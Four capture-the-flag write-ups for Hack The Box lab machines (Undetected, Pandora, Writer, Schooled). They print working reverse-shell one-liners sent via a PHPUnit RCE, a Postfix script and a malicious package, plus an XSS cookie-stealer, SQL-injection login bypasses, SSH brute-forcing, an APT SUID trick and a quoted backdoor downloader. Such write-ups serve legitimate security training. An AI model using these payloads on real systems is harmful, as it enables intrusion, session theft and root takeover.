Hack The Box: Undetected

Prelude

Undetected was an intermediate machine from HackTheBox, developed by TheCyberGeek. This was an incredible box, which showed several real-life like scenarios and was a great learning experience.

For initial foothold, I’ve exploited an RCE vuln in PHPUnit. Once I’ve got a shell in the target, I’ve cracked a hardcoded Unix hash inside a custom malicious binary to get the user.

Then I’ve reversed a malicious SSHd binary and reverse engineered the hardcoded backdoor password to get root.

Let me elaborate on how I solved this box.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.11.146
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey: 
|   3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
|   256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_  256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Diana's Jewelry
|_http-server-header: Apache/2.4.41 (Ubuntu)

I’ve Navigated to port 80 and found the following web page.

Clicked on Store link and it navigated to http://store.djewelry.htb/

So I’ve added the hostname to my /etc/hosts file and refreshed the page.

A quick feroxbuster-ing showed that there’s an exposed directory named vendor, with installed plugin folders listed.

Plugin enumeration go brrr!

Googled every plugin name in the exposed directory for vulnerabilities and found one.
There was an RCE in PHPUnit titled CVE-2017-9841. PHPUnit is a unit testing framework for the PHP programming language.

If the target is vulnerable, then we could execute arbitraty PHP code.
So I used the following payload to test for code execution.

curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
 

If the target is vulnerable, then it will decode the base64 encoded string and display `Hello World from CVE-2017-9841

RCE confirmed!

Then I’ve used a base64 encoded nc mkfifo payload and got a shell back.

curl -XPOST --data '<?php $str="cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNjIgOTAwMSA+L3RtcC9m";system(base64_decode($str));' http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

I’ve sent this payload and I got a shell back as www-data.

Privilege Escalation #1

Once I’ve got a shell back as www-data, I’ve used manual enumeration and found a binary /var/backups/info, which was owned by www-data.

So, I downloaded the file to my local machine and ran strings against the binary and found a hex encoded data, passing as an argument to bash.

I’ve decoded the hex using Cyberchef and found some bash comands and a hardcoded Unix hash.

These commands will download an authorized keys file from tempfiles.xyz and place it in /root/.ssh/authorized_keys. Then It will download a file named .main to /var/lib/ and set permission 755 to it.

Then it will add a cronjob to execute .main as root. Then, the script will add a hardcoded hash to the /etc/shadow file manually.

After that, it will extract users who have a login shell from /etc/passwd. Then it will add the user back to /etc/passwd, but this time, the username will have 1 appended to it.

So for instance, if there’s a valid user in the /etc/passwd file with a username steven, this code will add a new user named steven1 to /etc/passwd and then add the hardcoded password hash to /etc/shadow file.

I’ve cracked the hardcoded hash and it tuned out to be ihatehackers.

Why tho!?

I’ve checked the /etc/passwd file and found a user named steven1. So, I’ve used the password ihatehackers to login as steven1.

Privilege Escalation #2

This part was actually the hardest part of the whole box. The scenario in this box is that, this server was compromised and the hacker has left an undetectable backdoor in the system. So, the goal for us, is to find the backdoor and gain root.

Once we are in as steven1, we can read a mail for steven in /var/spool/mail.

It mentions an issue with Apache.

Since apache can load custom modules, an attacker could target apache modules for persistance.

i’ve Checked apache mods-available folder.
The .load files were loading contents from /usr/lib/apach2/modules/ directory.

So, I navigated to /usr/lib/apach2/modules/ directory and listed the files by last modified.

ls -latr

mod_reader.so module is the last modified file.
So, I’ve downloaded it to my machine and opened it using Ghidra.

When reversing a fuction named hook_post_config in the mod_reader.so file, I’ve found a base64 encoded data.

I’ve decoded it and found it as a bash one liner.

wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; 

touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

This one-liner downloads an image file as /usr/bin/sshd.

Then, it will change the modified date of /usr/bin/sshd to be the same as /usr/bin/a2enmod

This is to make the timestamp of the malicous SSHd binary to that of the a2enmod file, so that the malicious sshd binary will be hidden to sysadmins, who rely on timestamps for forensics.

I’ve searched for the string password in Ghidra and found a string named auth_password; which seemed interesting.

And I’ve found a backdoor password in the function decompiler view.

When a user tries password login via SSH as root, the malicious auth_password function in the SSHd binary will compare the entered password with the hardcoded backdoor password.

The backdoor password is stored in hexadecimal format inside a 31 character long array named backdoor.

The auth_password function will XOR the Hexadecimal values stored in the backdoor array with a static HEX key 0x96 to get the ASCII representation of the backdoor password.

The malicious auth_password function will then compare the genreated ASCII representation of the backdoor password with the password the user entered.

If the password matches with the hardcoded backdoor password, then the user can login as root.

This might not the best way, but it surely is a stealthy way for leaving backdoors in a system.

So, I manually copied and pasted the hex values in incremental order.

I’ve created a python script to Swap endianess, XOR each hex characters with 0x96 and Convert the resulting Hex to ASCII.


#!/usr/bin/python3

import socket



# Swap byte order
# Ghira displays the HEX in reversed Byte order format
def  swap_end(data):
	swap_data = bytearray(data)
	swap_data.reverse()
	return swap_data



# Backdoor password's Hex representation
backdoor=b'\xa5'
backdoor+=b'\xa9\xf4'
backdoor+=b'\xbc\xf0\xb5\xe3'
backdoor+=b'\xb2\xd6\xf4\xa0\xfd\xa0\xb3\xd6'
backdoor+=b'\xfd\xb3\xd6\xe7'
backdoor+=b'\xf7\xbb\xfd\xc8'
backdoor+=b'\xa4\xb3\xa3\xf3'
backdoor+=b'\xf0\xe7\xab\xd6'


# Password in Hex , after correcting Byte Order
swapped=swap_end(backdoor)



xored=[]
for i in swapped:
	xored.append(hex(i ^ int(0x96)) )

# Password in Hex , after XOR-ing with 0x96
# Store in list xored[]

final="".join(xored)
t=final.replace("0x","")	

# Password in Hex , after removing the 0x from the Hex bytes
final=t

# Converting Hex to ASCII
print(bytearray.fromhex(final).decode())

I’ve ran the script and got the password as

@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3.

I’ve used the password to login to the machine as root via SSH.

w00t!

Postlude

And that was Undetected!

A great machine which had excellent learning materials.

Kudos to TheCyberGeek for this machine.

Peace out! ✌️

Hack The Box: Pandora

Prelude

Pandora was an easy machine from HTB, developed by TheCyberGeek & dmw0ng. This was an easy box and it demonstrated the importance of manual enumeration and the importance of accuracy in scan results.

For the foothold, we have to do an snmpwalk output to get credentials of a low privilged user. We can use this credential to login via SSH as daniel. Once we are in as daniel, we can find an instance of Pandora FMS running as user matt. We can then exploit an authentication bypass vuln in Pandora FMS to gain shell as matt.

After getting shell as matt, we can use a simple Path Injection vulnerabilty of a custom SUID binary to be root.

Let me elaborate on how I solved this box.

Exploitation

Nmap returned the following results.

Nmap scan report for 10.10.11.136
	Host is up (0.053s latency).
	Not shown: 998 closed tcp ports (reset)
	PORT   STATE SERVICE VERSION
	22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
	| ssh-hostkey: 
	|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
	|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
	80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
	| http-methods: 
	|_  Supported Methods: GET POST OPTIONS HEAD
	|_http-title: Play | Landing
	|_http-server-header: Apache/2.4.41 (Ubuntu)
	|_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C
	Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I navigated to port 80 and found the following web page.

It was a rabbit hole

I’ve tried several types of enumerations (Full port scan, UDP scan, Vhost brute forcing etc.), but didn’t found anything interesting.

That’s when I’ve decided to perform a UDP scan once again with nmap, but this time with a lower T value and to scan only the top 500 ports. I used -T3 for the scanning.

nmap -sU -v --top-ports=500  -T3 10.10.11.136

This scan was taking some time to run.

While UDP scan was running, I’ve checked if port 161 was open and found it was indeed open!

nmap -sU -p 161 10.10.11.136 

I’ve ran snmpwalk with the following syntax.

snmpwalk -Os -c public -v 2c 10.10.11.136|tee snmpwalk   

In the output, I’ve found an interesting commandline argument, where credentials to a user named daniel was given as an inline argument.

I’ve tested these credentials against SSH for credential reuse and it got me in!

Privilege Escalation #1

The user.txt flag was not present in daniel‘s home directory. It was present in /home/matt.

So, the next step is to escalate privileges to matt

I’ve started some local recon and Navigated to /var/www and found a folder named pandora_console.

I’ve also found the apache configuration for pandora at /etc/apache2/sites-available and the contents of the file are listed below.

This configuration shows that an instance of Pandora FMS is running locally at the target and it can be accessed at localhost:80. I’ve checked with ps aux and found that pandora is running as user matt!

I’ve navigated to the website and found the following page.

I’ve searched for some exploits and found it had some interesting ones!

I’ve found an authentication bypass vulnerability in Pandora FMS.

Explanation

If we can get admin access in Pandora FMS, then we could potentially upload a malicious PHP extension and gain code execution.

I’ve requested the following payload and refreshed the home page of Pandora FMS and I was logged in as admin!

http://localhost:8000/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO

Then I’ve zipped a malicous reverse shell PHP file and uploaded it as an Extension, via the Extension uploader.

After uploading the extension, I’ve clicked on Extension Manager view to execute the PHP code.

And I’ve got a shell back as matt!

Privilege Escalation #2

With some digging around the file system, I’ve found an interesting custom SUID binary with the source code next to it at /opt.

It was a custom backup utility, which backuped the contents of /var/www/pandora/pandora_console to a sub-directory inside the /root folder. The binary issues the tar command without the absolute path, so we could use Path hijacking attack to gain root.

However, upon running the binary, it showed that permission denied for accessing the /root folder. I’ve also noticed that I couldn’t run sudo -l as matt because of some weirdness of the reverse shell.

So, I had to spawn an SSH session as matt user, by writing an authorized_keys file first, to execute the SUID binary properly.

Once I had an SSH session as matt, I’ve used the Path hijacking attack to gain a shell as root!

root!

Ryan Reynolds smiling Gif
w00t!

Postlude

And that was Pandora.

An easy box, but taught me some good lessons!

Kudos to TheCyberGeek & dmw0ng.

Peace out! ✌️

Hack The Box: Writer

Prelude

Writer was an intermediate machine from Hack The Box, developed by TheCyberGeek.

This was a good learning experience and this machine’s initial foothold was a bit too realistic, by bruteforcing a user named kyle’s ssh login.

Once we are inside the machine, we can see that there are some peculiar groups that the user is part of. By looking up for directories and folders owned by this user, we can see that the user can write to Postfix smtpd’s disclaimer script. We can abuse this permission to spawn a shell as the higher privileged user named John.

With some basic enum, we will find that John is also part of a custom group and by following this group owned files/directories, we will find that John is able to write APT configuration files to /etc/apt/apt.conf.d directory. We can then abuse this privilege to spawn a root shell!

Let’s start the exploitation.

Exploitation

Starting the exploitation with the usual Nmap scan.

nmap -sCV -v -oN tcp 10.10.11.101

And got the following result.

22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)                                                                               
| ssh-hostkey:                                                                                                                                                       
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)                                                                                                       
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)                                                                                                      
|_  256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   WRITER<00>           Flags: <unique><active>
|   WRITER<03>           Flags: <unique><active>
|   WRITER<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-03T08:02:49
|_  start_date: N/A

I started the enumeration with SMB and found some inaccessible SMB shares.

smbclient -L 10.10.11.101 -U '' -N

Then I decided to direct my enumeration to port 80. I navigated to http://10.10.11.101/ and found the following web page.

The first thing I noticed was that, there were no extensions to pages. There were only directories.
That means navigating to index .php/.html didn’t not work; but navigating to / works. This is a strong indication of a python/ruby webserver.

I ran gobuster and found a directory named /administrative.

Tis login was bypassed by using the following payload as the username/password on the URL http://10.10.11.101/dashboard.

 admin@writer.htb' OR 1=1#

I have also found a way to upload files to the story edit section by spoofing the file format.

It was succesfully uploaded to http://10.10.11.101/static/img/.

But, I couldn’t find a way to execute the uploaded file.

There was also a Blind SQL Injection vulnerability in the /administrative login page.

I used the following command to exfiltrate the username and password hash of user admin from database.

sqlmap -r burp/login.req --batch --dump --dbms=mysql -T users -C email,password,username

I’ve tried to crack the hash, but I failed to crack the hash.

Since it was a blind sql vulnerability, I have decided to exfiltrate files from the server, namely /etc/apache2/apache2.conf file. However, I gave up on exfiltration due to extreeeeeemely slow response from the server. I have tried this for more than 6-7 hours and I still couldn’t download the file. 😢

So, I’ve decided to change my focus from this vector.

Moving on…

I’ve diverted my focus to port 135 and connected to the port using rpcclient.

rpcclient -L 10.10.11.101 -U '' -N

Then I’ve used enumdomusers command to find users and found a user named Kyle.

Output of queryuser command on Kyle

Since this machine had SSH, I’ve decided to perform SSH bruteforcing this user using hydra.

hydra -l 'kyle' -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.101 -t 60

And after several minutes, the password was cracked as marcoantonio.

I used this password to login to SSH as kyle.

And I got in!

Privilege Escalation #1

Once I was in as kyle, I have found that Kyle is a member of groups smbgroup and filter.

I’ve used the following command to list all directories and folders, that were owned by the group filter.

find / -group filter 2>/dev/null

The file /var/spool/disclaimer was a bash script, that uses a tool called altermime to automatically attach a disclaimer text, which is defined in a text file called disclaimer.txt.
We can define all sender email addresses for which alterMIME should add a disclaimer to in a file called disclaimer_addresses.

Read more from here.

I then checked for open ports in the machine with ss -tulnp and found that port 25 is open and listening to local connections.

I’ve also found an excellent article from Viperone’s gitbook about exploiting disclaimer script in postfix to escalate privileges. Now, we need to find the contents of disclaimer_addresses, so that we can exploit this.

The disclaimer_addresses file contained the following addresses.

Then I replaced script with the following netcat reverse shell payload.

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.45 9001 >/tmp/f' > disclaimer

Then I forwarded port 25 of writer.htb to my localport 8025 using SSH and used telnet to connect to it.

Then I send an email from root@writer.htb to kyle@writer.htb using the following payload.

helo test

MAIL FROM: root@writer.htb

RCPT TO: kyle@writer.htb

DATA

test
.

The . (dot) at the end will terminate the DATA header and the mail will be sent.

Since, the address root@writer.htb is in the disclaimer_addresses file, the SMTPd will execute the disclaimer script and we’ll get a shell back!

And I got a shell back as John!

hilarious awesome gif | WiffleGif
Awesome!

Privilege Escalation #2

Just like kyle, user John also had some unusual group membership.

John was a member of the group named management, which was found using the groups command. I then repeated what we did just before.

find / -group management 2>/dev/null

I found that the directory /etc/apt/apt.conf.d was owned by the group management. This is a special directory for the Aptitude package manager and files placed here will be loaded to apt, when apt is executed.

With a little research, I’ve found a way to get code execution by placing a malicious apt configuration file in the said directory. Source #1 Source #2

Combining these information, I’ve made a file /etc/apt/apt.conf.d/11test.conf with the following contents. This command will be executed after apt update command is finished executing. The payload will make a copy of bash binary with SUID bit set to /tmp.

APT::Update::Post-Invoke {"cp /bin/bash /tmp;chmod 4755 /tmp/bash; touch /tmp/list";};


I have executed apt changelog apt to view the changelog of apt.

I’ve used apt changelog, because the user John couldn’t execute apt update directly and executing apt changelog will bypass this and trigger an apt update and my payload will get executed after finishing the execution of apt update command..

This step was extremely finnicky for me since I had to change package names in apt changelog (I used nano and apt intermittently) repeatedly (still not sure this was necessary step or was a placebo) and my apt config file was getting automatically deleted every 1 or 2 minutes.

I’ve used these changelog commands to trigger the payload.

apt changelog apt
apt changelog nano

Gaining root in this machine was a game of repeatedly saving the config file and calling apt changelog command.

But, with some tinkering, the bash binary was copied to /tmp and I’ve used /tmp/bash -p command to spawn a root bash shell in the machine.

Postlude

And that was Writer!

This was a very finnicky box and wasn’t a pleasant experience to me at all! But, in the end, I’ve learned some new tricks.

Kudos to TheCyberGeek for this machine!

Peace out! ✌️

Hack The Box: Schooled

Prelude

Schooled was an intermediate machine from HTB, developed by TheCyberGeek. This machine was actually a bit tough for me on gaining the initial foothold, just because the service to exploit was hidden behind a subdomain and there’s no indication in the main page that there’s a subdomain in the target.

That is actually a realistic accept of penetration testing/bug bounties and I had to perform a subdomain enumeration to uncover the subdomain; which I haven’t done before inside HTB network.

The privilege escalation part was pretty straightforward, but exploiting the service located at the subdomain for gaining initial foothold was a little intricate. It involved exploiting multiple vulnerabilities in the service and chaining them together to gain the reverse shell. It was a one of a kind exploit chain and I’ve thoroughly enjoyed the process!

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.234

And I got the scan result as follows.

# Nmap 7.91 scan initiated Fri May 28 14:44:36 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.234
Increasing send delay for 10.10.10.234 from 0 to 5 due to 181 out of 602 dropped probes since last increase.
Nmap scan report for 10.10.10.234
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

There was only two ports running.

From the SSH banner, I presumed the Operating System to be atleast Free BSD 11.4.

Then I started the enumeration of Port 80 by navigating to http://10.10.10.234 via the web browser and I saw the following page.

This was a static website and there wasn’t any actual functionality to the website. Even sending a message on contact us resulted in a 404.

Navigating to /teachers.html showed the following list of staff.

Potential usernames

The footer on the page suggested that the server have a domain name called schooled.htb.

So, I added the domain name to my /etc/hosts file and refreshed the page. But, the same page was rendered.

Other than this, there wasn’t much to do and I was stuck here after gobuster-ing and scanning the website with nikto.

So, I stared enumerating the sub domains, since there wasn’t any other services to enumerate.

gobuster vhost -u http://schooled.htb/ -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt|tee gobuster-vhost

And I got a hit on moodle.schooled.htb.

So, I added moodle.schooled.htb to my /etc/hosts file and browsed it via web browser and saw the following page.

I looked up moodle and found out that it is a Learning Management System (LMS). LMS is a sub category of CMS, aimed at providing services for online learning platforms.

I found a snyk.io page that showed several different vulnerabilities affected Moodle. However to test them, I need to verify the Moodle version running at the target.

Hacktricks has a great page demonstrating different tools to automatically scan Moodle.

I used moodlescan first.

Moodlescan found the version as 3.9.0-beta.

The Exploit Chain

Snyk.io showed all sorts of different vulnerabilities affecting Moodle 3.9.0-beta. The juicy ones are listed below:

The Improper Authorization allows anyone to create a new user account without confirming the email address. Then we can use Persistent XSS to steal cookies of a higher privileged Teacher account. Once we get Teacher account, we can use the Privilege escalation vulnerability to promote ourselves to the most privileged Manager account. Once the privesc is successful, then we can login as Manager to enable plugins and upload a malicious plugin file to gain remote code execution in the target machine.

This is the exploit chain we have to follow in order to gain the initial foothold on the machine.

Let’s do just that.

Step #1 Improper Authorization

I went to /moodle/login/signup.php and created a new account named secnigma using an email id with prefix @student.schooled.htb.

Once we have created an account, there will be a prompt asking us to confirm the email address, along with a Confirm button.

Click the button and we’ll be logged into Moodle.

Inside Moodle, we can see that there’s some courses. Amongst them, we can self enrol into maths, led by tutor Manuel Philips.

Enrol into the course and Step #1 is now complete.

Step #2 Stored XSS

Moodle has a stored XSS vulnerability in the moodlenetprofile field at user edit page:
http://moodle.schooled.htb/moodle/user/edit.php?id=29&returnto=profile

Since MoodleSession cookie is not set to HTTPOnly, we can use a simple cookie stealing XSS to hijack the session ID of other users.

HttpOnly set to False

Now the next step is to find a victim. Since, the only course we could access is Maths, I assumed that the intended vector is to hijack the session ID of the teacher and then elevate privileges to manager.

So, I looked up the teacher and found the teacher is Manuel Philips.

Then I started the XSS attack by finding a simple XSS script.

I got the cookie stealer payload from AXDOOMER/easy-xss-cookie-stealer github repo. The repo contains a cookiestealer.php script that decodes the base64 encoded cookie and saves it in log.txt file.

I cloned the XSS github repo and stared a PHP server using the following command.

sudo php -S 0.0.0.0:80

WARNING: Don’t forget that this is a dangerous way to run a PHP server, since this doesn’t have any security mechanisms built in and any PHP file located at the working directory will be accessible to the public.

Then I pasted the following XSS payload to the MoodleNetProfile field and save the configuration by clicking Update Profile at the bottom of the page.

XSS Cookie stealer payload I used is given below.

<script type="text/javascript">
document.location='http://10.10.14.37/cookiestealer.php?c='+encodeURIComponent(btoa(document.cookie)); 
</script>

Then I went to Manuel Philip‘s profile, added him to my contact and messaged him.

And I got two cookie values!

The first cookie is my own and the second one is Manuel Philips‘s.

So, I pressed F12 in my Firefox and swapped my cookie with Manuel Philip‘s and I got in as him!

Step #2 Complete!

Step #3 PrivEsc to Manager

Now that we’ve got the Teacher account, let’s use the privilege escalation vulnerability to promote Manuel Philips to the Manager role.

To do that, we have to first add the current Manager to Manuel Philip‘s Maths course. If we look back at our notes, we can see that from the staff list, Lianne Carter is the Manager.

So, first we have to add Lianne carter to our course.

To do that, as Manuel, go to Maths > Participants and then click Enrol Users.

Then from Select Users, search Lianne and add her as a student.

Before we click Enrol users, start BurpSuite and intercept the request to enrol users.We need to repeat the same request and repeat it with a little modification for the privilege escalation.

Once the request has been intercepted, add the request to Repeater and then forward the request. Confirm that Lianne is added into the course before proceeding to the next step.

Great!

Now go to BurpSuite’s Repeater tab and modify the GET variables userlist%5B%5B to User ID of Manuel Philips (24) and roletoassign as 1 and send the request.

Refresh the Participants page to confirm the privilege escalation.

Success!

Now, if we go to Lianne Carter‘s contact page, we can see an new option called Login as opened under Administration section.

Click on the link and we’re logged in as Lianne Carter!

Step #3 Complete!

Step #4 Remote Code Execution

We have arrived at our final step.

We are going to execute remote code via Moodle by uploading a malicious plugin.

To do so, we first have to enable plugins if plugins are disabled. Here, the plugins are disabled as there is no option under Plugins section.

Go to http://moodle.schooled.htb/moodle/admin/roles/define.php and click on Save Changes and Intercept the request via BurpSuite.

The request will look like the following.

We have to change the POST data after the sesskey variable and it’s value to the end.

Use the payload mentioned here to replace the Intercepted request data.

Once the payload has been pasted, forward the request.

Now, go to http://moodle.schooled.htb/moodle/admin/search.php#linkmodules and if we did everything correctly, the Install Plugins link should be active.

Now that the plugins are enabled, let’s craft a malicious plugin.

A sample plugin zip file can be obtained from here or from hacktricks.

Download it, unzip and edit the PHP reverse shell file’s IP address and Port number accordingly.

After that recompress the files back to the zip file using the following command.

zip -r reverse.zip rce/

This command will recursively compress the directory named rce into a zip file named reverse.zip.

Now, upload the reverse.zip file as a Plugin to Moodle.

Click the Install Plugins link and upload the reverse.zip file.

After this, start the nc listener and go to http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id to get a reverse shell.

And we’re in!

Dwight The Office GIF - Dwight TheOffice Win - Discover & Share GIFs
WIN!

Gaining shell as Jamie

Gaining the shell as Jamie was pretty straight forward.

I found the database credentials at /usr/local/www/apache24/data/moodle/config.php.

The credentials were moodle:PlaybookMaster2020.

MySQL was in the machine. But, the PATH variable didn’y had MySQL.

I found the MySQL binary by find / -type f -name mysql 2>/dev/null and exported the PATH.

I then logged into MySQL server and exported admin‘s hash from moodle database.

It was a bcrypt/blowfish hash, but it cracked pretty quickly with rockyou.

The password was !QAZ2wsx.

I used the password to login as Jamie via ssh.

Privilege Escalation

Jamie could run /usr/bin/pkg with sudo. pkg is the binary package manager of FreeBSD.

GTFOBins have an entry about how to create malicious .txz packages.

To do that, we first have to install fpm.

Fpm is a package maker which can be used to build packages such as rpms, debs, OSX packages, etc.

sudo apt-get install ruby ruby-dev rubygems build-essential
sudo gem install --no-document fpm

I used nc traditional payload to get a shell back. I crafted the malicoius package using the following commands.

TF=$(mktemp -d)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.37 9001 >/tmp/f' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

After this, we will get a file in the pwd named x-1.0.txz.

I copied the file to the target as evil.txz and ran the following command to get a shell.

sudo pkg install -y --no-repo-update ./evil.txz

And I was root!

Best More Power GIFs | Gfycat

Postlude

And that’s Schooled.

This was a great machine and I’ve learned several things from this box.

Kudos to TheCyberGeek for creating such an awesome machine!

Peace out! ✌️